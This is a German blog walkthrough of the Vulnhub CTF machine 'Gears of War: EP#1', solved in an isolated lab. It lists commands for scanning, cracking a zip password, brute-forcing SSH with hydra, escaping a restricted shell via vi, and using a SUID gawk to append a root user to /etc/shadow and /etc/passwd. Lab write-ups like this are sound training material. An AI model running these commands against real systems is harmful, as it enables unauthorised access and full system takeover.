Gears of War: EP#1 – CTF Walkthrough

Veröffentlicht: 02.01.2020 in Computer, Security
Schlagwörter:, , , , , , , , , , , , , , , , ,

Einleitung

Die „Gears of War: EP#1“ CTF ist eine noch relativ neue VM auf Vulnhub. Gears of War basiered auf der gleichnamigen Computerspiel Serie. Eine Schwierigkeit war nicht angegeben. Ich würde sie aber als leicht bis mittel einstufen. Das hängt von der eigenen Erfahrung ab. Leicht, wenn man erfahren ist und mittel, für Neulinge im CTF Business.

Setup

Die „Gears of War: EP#1“ VM läuft unter Virtualbox mit einem Host Only Netzwerkadapter. Aus Sicherheitsgründen laufen alle CTF VMs in einem getrennten virtuellem Netz. DHCP, DNS, Routing kommt von einer OpenWRT VM im selben Netz. Allerdings gibt es keine default Route ins Internet. Daher könnte das Routing auch abgeschaltet werden. Als Angriffs VM wird Kali benutzt.

Ziel VM IP (Gears of War)

Am Anfang eines jeden Angriffs steht die Ermittelung der Ziel IP Adresse. In dem relativ übersichtlichen CTF Netzwerk hat sich netdiscover als gute und schnell Methode herausgestellt um die IP einer neuen VM zu ermitteln.

# netdiscover

 

IP von „Gears of War: EP#1“ ist 192.168.1.235.

Service Discovery

Um herauszufinden was auf der VM alles läuft bietet sich nmap an. Gescannt werden nur TCP Ports, weil (a) die meisten Services TCP sind und (b) das scannen von UDP deutlich mehr Zeit in Anspruch nimmt.

# nmap -T4 -A -p- 192.168.1.235

 

Hier bei werden die offenen Ports 22, 80, 139 und 445 gefunden. Port 22 ist wahrscheinlich ein Open SSH Server. Auf Port 80 läuft ein Apache Web Server. Und auf Port 139&445 läuft ein Samba Server.

Samba – TCP/139 und TCP/445

Die einfachen Sachen sollten zu erst evaluiert werden. Daher bietet sich Samba an. Zu erst wird nachgesehen welche öffentlichen Fileshares der Server anbietet. Und siehe da, es gibt ein interessantes Share, LOCUS_LAN$. Im nächsten Schritt wird das Share selber genauer untersucht. Das geht recht gut mit dem Mounten von LOCUS_LAN$ nach /mnt.

# smbclient -L 192.168.1.235 -N
# mount -t cifs -o sec=none \\\\192.168.1.235\\LOCUS_LAN$ /mnt

Dabei fallen zwei Dateien auf, SOS.txt und msg_horda.zip.

Anzeigen lässt sich nur SOS.txt. Leider benötigt msg_horda.zip ein Passwort. Allerdings hält der SOS.txt einen Hinweis parat. Die Zeichenklette @%%, sieht aus wie ein Pattern für crunch. Mit crunch können Worte nach bestimmten Mustern erzeugt werden. crunch eignet sich besonders um für Brutforce Angriffe Wörterbücher und/oder Passwortlisten zu erzeugen. Also warum nicht eine Passwortliste mit dem Pattern @%%, erzeugen und die dann auf die zip Datei anwenden. Gesagt getan …

# crunch 4 4 -t @%%, > worte.txt
# fcrackzip -u -D -p worte.txt msg_horda.zip

Voila! Hat geklappt. Trotz fehlender Spanisch Kenntnisse aber mit Hilfe eines erstklassigen Übersetzers … ist der Text nicht wirklich hilfreich 😦 Allerdings sieht die Zeichenkette 3_d4y verdächtig nach etwas aus, was später noch von Bedeutung sein könnte.

Anmerkung: Eine wichtige Aufgabe beim CTF lösen, ist das Sammeln von Worten, die später beim Knacken von Passworten, dem Ermitteln von Benutzern- oder Verzeichnisnamen hilfreich sein könnten. In die Liste kommt alles rein was auch nur halbwegs interessant scheint. Lieber zu viel als zu wenig. Das geschieht manuell, halb automatisch und automatisch. Kurze Worte (z.B. 1-3 Zeichen) werden entfernt, genauso wie doppelte Einträge.

# cat key.txt | tr " " "\n" > interessant.txt
# cat SOS.txt | tr " " "\n" >> interessant.txt
# sort -u < interessant.txt > interessant2.txt
# vi interessant2.txt

Das war der erste Eindruck zu Samba. Exploits u.ä. werden später gesucht und ausprobiert, nachdem die einfachen Taktiken keine Ergebnisse mehr liefern 😉

Apache – TCP/80

Als nächstes wird der Webserver auf Port 80 untersucht. Ein erster Check mit dem Browser zeigt nur ein Paar Bilder. Besser geht das mit wget. wget lädt auch gleich die robots.txt Datei und somit eventuell weitere lohnende Ziele.

# wget -r 192.168.1.235
# cat 192.168.1.235/robots.txt
# wget -r 192.168.1.235/marcus.html 192.168.1.235/dom.html 192.168.1.235/cole.html 192.168.1.235/baird.html 192.168.1.235/acarmine.html

 

Beim anschließendem Untersuchen der downgeloadeten Dateien fallen einige Dinge auf.

  1. Aus der index.html Datei wurde nicht ashes.html runtergezogen. Das wird manuell nachgeholt. Scheinbar zieht wget keine HTML Dateien aus „form action“ Elementen. Unwichtig für dieses CTF, aber wichtig zu wissen für weitere CTFs.
  2. ashes.html hat einen sehr kryptischen zusätzlichen Inhalt. Schwer zu erkennen, was das sein könnte. Der erste Teil ist ROT47. Scheint ein Text aus dem Spiel zu sein. Die letzte Zeile ist weiterhin kryptisch.
  3. Die anderen HTML Dateien beinhaltet als Kommentar die ROT13 verschlüsselten Datei Namen ohne .html. Sehr Interessant, aber für dieses CTF uninteressant.
  4. Die JPG Bilder beinhalten keine offensichtlich versteckten Informationen. Weder exiftool noch hexdump hat was interessantes angezeigt.

Anschließend wird nach weiteren versteckten bzw. nicht verlinkten Verzeichnissen gesucht. Wozu zu erst die Wortliste vervollständigt wurde, um danach mit dirb nach weiteren Verzeichnissen zu suchen. Um das ganz anschließend nochmal mit einer Standard Verzeichnisliste von Kali zu wiederholen. Aber beides ohne Erfolg.

Anmerkung: Um eine Liste von Worten einer Webseite zu erhalten, wird cewl benutzt. cewl liesst eine Webseite und extrahiert deren Worte.

# cat urls.txt | while read url; do cewl -d 4 -w cewl.tmp --with-numbers $url; cat cewl.tmp >> cewl2.tmp; done
# sort -u < cewl2.tmp >> worte.txt

 

# dirb http://192.168.1.235 worte.txt -w
# dirb http://192.168.1.235 /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -w

Somit war Port 80 erst mal erschöpfend untersucht. Leider ohne direkt brauchbare Informationen. Auf zum nächsten Port.

SSH – TCP/22

Bei SSH bietet sich ein Brutforce Angriff mittels Wortliste an. Ob es die Benutzer gibt lässt sich bei einigen SSH Servern auch ohne Passworte heraus knobeln. Dazu braucht es lediglich eine Liste an Usernamen, die geprüft werden sollen. Diese Liste kann aus dem gesammelten Worten, den HTML Dateinamen und der Wikipedia Seite des Gears of War Spiels erstellt werden.

Anschließend werden die User mit Hilfe des Metasploit Frameworks getestet.

# msfconsole
msf5 > use auxiliary/scanner/ssh/ssh_enumusers
msf5 auxiliary(scanner/ssh/ssh_enumusers) > set rhosts 192.168.1.235
msf5 auxiliary(scanner/ssh/ssh_enumusers) > set user_file user.txt
msf5 auxiliary(scanner/ssh/ssh_enumusers) > run

Scheinbar existieren  alle Namen. Und das ist leider zu schön um wahr zu sein. False Postiv!

Nächster Versuch wäre ist weiterer Brutforce Angriff diesmal mit hydra. Auch dazu wird eine Liste mit Usernamen und Passworten benötigt. Beides existiert bereits. Die User kommen aus der Datei user.txt und die Passworte aus der gesammelten wort.txt Datei.  Zusätzlich wird die Anzahl der gleichzeitig laufenden Threads auf zwei begrenzt, weil hydra sonst Fehlermeldungen auswirft.

Anmerkung: Trotz Fehlermeldung läuft hydra bei z.B. -t 20 deutlich schneller und findet trotz Fehlermeldungen das richtige Passwort.

# hydra -L user.txt -P worte.txt -e nsr -v ssh://192.168.1.235 -t 2

Relativ bald wirft hydra beim User marcus das Passwort 3_d4y raus.

Das ganz mit ssh überprüfen und … Bingo!

# ssh marcus@192.168.1.235

 

System/VM Shell Zugang

Restricted Shell

Auf der Ziel VM lässt es sich jetzt einloggen, allerdings steht nur eine eingeschränkte, restricted Shell zu Verfügung.

Ein einfacher Weg um aus einer Restricted Shell auszubrechen ist z.B. ein Programm zu starten, innerhalb dessen ein Shell Aufruf möglich ist. Das geht beispielsweise mit dem vi.

# vi
: set shell=/bin/bash
: shell

 

Und schon macht das arbeiten wieder richtig Spaß! 😉

Anmerkung: Das würde auch funktionieren.

# ssh marcus@192.168.1.235 -t "bash --noprofile"

Exploration

Der nächste Schritt ist das System auf Schwachstellen, Konfigurationsfehler und Angriffspunkte zu untersuchen. Dazu gibt es ein hervorragendes Skript, das die meiste Arbeit macht und auch verhindert, das etwas übersehen wird. LinEnum.sh wird auf die Ziel VM kopiert und dort dann ausgeführt.

Auf der Kali VM
# scp LinEnum.sh marcus@192.168.1.235:/tmp
Auf der Ziel VM
# ./LinEnum.sh -r Report.txt -e /tmp -t

 

Es werde root

Auffallen tun hier die beiden Dateien gawk und cp mit gesetztem S-Bit. Das heißt die Dateien werden im Kontext ihres Besitzers ausgeführt. Es bietet sich an dieses auszunutzen um einen zusätzlichen root user mit bekanntem Passwort an die Dateien /etc/shadow und /etc/passwd anzuhängen.

 

# openssl passwd -6 -salt y1BDtWcx root
# /usr/bin/gawk 'BEGIN {print "root2:$6$y1BDtWcx$l4vwafYdqxavgb5qNygrPmDLWeuAohT0AJXCPCRLCCqwgSKJ4PMSpUVx3jE5.XXgdRK/my4iullGgjGj.FZ69.:18186:0:99999:7:::" >> "/etc/shadow"} '
# /usr/bin/gawk 'BEGIN {print "root2:x:0:0:root:/root:/bin/bash" >> "/etc/passwd"} '

 

Yipi Yeah! Geschafft!
root geworden und VM übernommen.

Jetzt noch fix das Flag gesucht

Fertig!

Fazit

Ein sehr gut gelungenes CTF. Machbar auch für Anfänger, aber trotzdem nicht zu einfach. Interessant dürften auch die weiteren CTFs der Serie sein. Gerne mehr!

Noch Fragen? Gerne in den Kommentaren!

 

Kommentar verfassen

Trage deine Daten unten ein oder klicke ein Icon um dich einzuloggen:

WordPress.com-Logo

Du kommentierst mit Deinem WordPress.com-Konto. Abmelden /  Ändern )

Google Foto

Du kommentierst mit Deinem Google-Konto. Abmelden /  Ändern )

Twitter-Bild

Du kommentierst mit Deinem Twitter-Konto. Abmelden /  Ändern )

Facebook-Foto

Du kommentierst mit Deinem Facebook-Konto. Abmelden /  Ändern )

Verbinde mit %s